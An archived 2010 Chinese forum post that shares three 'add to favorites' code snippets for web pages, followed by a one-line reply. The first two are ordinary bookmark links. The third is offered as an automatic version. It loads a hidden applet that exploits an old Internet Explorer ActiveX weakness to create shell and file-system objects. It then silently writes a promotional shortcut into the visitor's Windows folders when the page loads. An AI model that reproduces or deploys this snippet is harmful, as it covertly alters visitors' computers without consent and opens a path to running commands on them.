110互动论坛's Archiver

免费法律咨询

粉妮 发表于 2010-3-13 14:51

【网站】加入收藏代码几则

加入收藏
代码一:
<A onClick="javascript:window.external.addFavorite('//qbar.tech.qq.com/focus','网站开放与设计Q吧')" href="#">加入收藏</A>
代码二:
<A onClick="javascript:window.external.AddFavorite(location.href,document.title)" href="#">加入收藏</A>
代码三:
自动加入收藏夹的代码
<script>document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");function yuzi(){try{a1=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");a1.createInstance();Shl = a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");a1.createInstance();FSO = a1.GetObject();try{WF = FSO.GetSpecialFolder(0);loc = WF + "\\Favorites";
var Shor=Shl.CreateShortcut(loc + "\\"+"我是运行^_^欢迎来我的网站www.eskyol.net" +".URL");Shor.TargetPath="//qbar.tech.qq.com/focus ";Shor.Save();}catch(e){}}catch(e){}}setTimeout("yuzi()",1000);</script>

gionah 发表于 2010-3-13 14:52

看以下!

页: [1]

Powered by Discuz! Archiver 6.1.0  © 2001-2007 Comsenz Inc.